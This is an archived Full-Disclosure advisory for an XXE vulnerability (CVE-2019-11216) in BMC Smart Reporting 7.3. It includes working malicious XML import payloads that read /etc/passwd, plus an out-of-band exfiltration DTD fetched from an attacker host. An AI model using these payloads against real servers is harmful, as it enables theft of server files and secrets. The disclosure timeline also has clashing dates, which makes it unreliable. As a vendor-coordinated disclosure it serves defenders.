lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Mon, 2 Dec 2019 21:15:57 +0100
From: david herrero <david.herrero.pena@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] XXE in BMC Smart Reporting 7.3 20180418 - CVE-2019-11216

<!--
# Exploit Title: XXE in  BMC Smart Reporting 7.3 20180418
# Date: 11-12-2019
# Exploit Author: David Herrero
# Vendor Homepage: https://www.bmc.com/
# Software Link:
https://docs.bmc.com/docs/itsm90/export-and-import-repository-509983929.html
# Version: BMC Smart Reporting 7.3 20180418
# Tested on: Linux
# CVE : CVE-2019-11216
# Category: vulnerability

1. Description

BMC Smart Reporting 7.3 20180418 allows authenticated XXE within the
import functionality.
One auhtenticated user with admin privileges can import a malicious XML
file and perform XXE
attacks to download local files from the server, or do DoS attacks with
XML expansion attacks.
XXE with direct response and XXE OOB are allowed


2. Proof of Concept

Login with an admin account into BMC Remedy Smart reporting, in the left
menu select the option
"Import", in the "Import File Selection" page upload a malicious XML
file like this one:

XML File for XXE Code in response:

<?xml version="1.0" encoding="UTF-8"?><!-- SmartReporting export file
--><!-- Generated at 2019-01-18 10:14 UTC (+0000) -->
<!DOCTYPE data [
<!ELEMENT data ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<data>
  <info>
    <exportversion>4</exportversion>
    <exportsubversion>43</exportsubversion>
    <appversion>7.3</appversion>
    <buildversion>20180418</buildversion>
    <exportdate>2019-01-18 10:14 UTC (+0000)</exportdate>
  </info>
  <source>
    <id>66717</id>
    <sourceName>&xxe;</sourceName>
    <sourceDescription>testburpDESC</sourceDescription>
    <userName>test</userName>
    <password>Fi8IDs5q9p4=</password>
    <connectionTypeCode>GENERICUSER</connectionTypeCode>
    <connectionMethodCode>SSRS</connectionMethodCode>
    <connectionDriver>evil.com</connectionDriver>
    <databaseURL>http://wvil.com/a.txt</databaseURL>
    <databaseTypeCode>GENERICJDBC</databaseTypeCode>
    <minConnections>1</minConnections>
    <maxConnections>5</maxConnections>
    <connectionRefreshTime>3</connectionRefreshTime>
    <connectionTimeOut>180</connectionTimeOut>
    <accessCode>UNSECURE</accessCode>
    <platformTypeCode/>
    <maxRowCount>0</maxRowCount>
    <broadcastPermitted>true</broadcastPermitted>
    <subscribePermitted>true</subscribePermitted>
    <dataProfileEnabled>true</dataProfileEnabled>
    <localTimezoneCode>AUSTRALIA/SYDNEY</localTimezoneCode>
    <secondaryMinConnections>0</secondaryMinConnections>
    <secondaryMaxConnections>0</secondaryMaxConnections>
    <secondaryConnectionRefreshTime>0</secondaryConnectionRefreshTime>
    <secondaryConnectionTimeOut>0</secondaryConnectionTimeOut>
    <filterList/>
    <sourceParameterList>
      <sourceParameter>
        <id>0</id>
        <parameterTypeCode>TEXT</parameterTypeCode>
        <parameterKey>SOURCECLASSNAME</parameterKey>
        <parameterIndex>0</parameterIndex>

<parameterValue>com.hof.sources.SSRSSourcePlatformImplementation</parameterValue>
        <documentId>0</documentId>
        <userVisible>true</userVisible>
      </sourceParameter>
    </sourceParameterList>
  </source>
</data>

After loading the file, the web application should show the file
"/etc/passwd" inside the HTML code.
When reading XML files, the exploit must use OOB XXE because the content
of the file must be included inside "CDATA" tags, the XML payload is as
follow:

XML File for XXE CDATA exfiltration:

!DOCTYPE data [
<!ELEMENT data ANY >
<!ENTITY % start "<![CDATA[">
<!ENTITY % stuff SYSTEM "file:///path/to/webapps/root/WEB-INF/web.xml">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://attackerip/evil1.xml">
%dtd;
]>
[...]
<sourceName>&all;</sourceName>
[...]

Content of "evil1.xml" is:

<!ENTITY all "%start;%stuff;%end;">

The vulnerable server must be able to reach the file uploaded at
http://attackerip/evil1.xml.


3. Solution:

Remedy Smart Reporting version 9.1.03.001 requires upgrade to the latest
hot fix bundle of this version.
Remedy Smart Reporting version 9.1.04.002 requires upgrade to the latest
hot fix bundle of this version.
Remedy Smart Reporting version 18.05.05 requires upgrade to the latest
hot fix bundle of this version.
Remedy Smart Reporting version 19.02.01 requires upgrade to the latest
hot fix bundle of this version.

4. References
CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11216
Vendor advisory:
https://bmcsites.force.com/casemgmt/sc_KnowledgeArticle?sfdcid=kA21O000000dKWrSAM&type=Solution
Product info:
https://docs.bmc.com/docs/itsm90/export-and-import-repository-509983929.html

5. Dates
01/18/2019 - Discovered Vulnerability
04/12/2018 - CVE Reserved
04/17/2018 - Details sent to Vendor
05/07/2019 - Vendor confirms that product is vulnerable
11/12/2019 - Vendor published an advisory
11/12/2019 - Public disclosure

-->

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists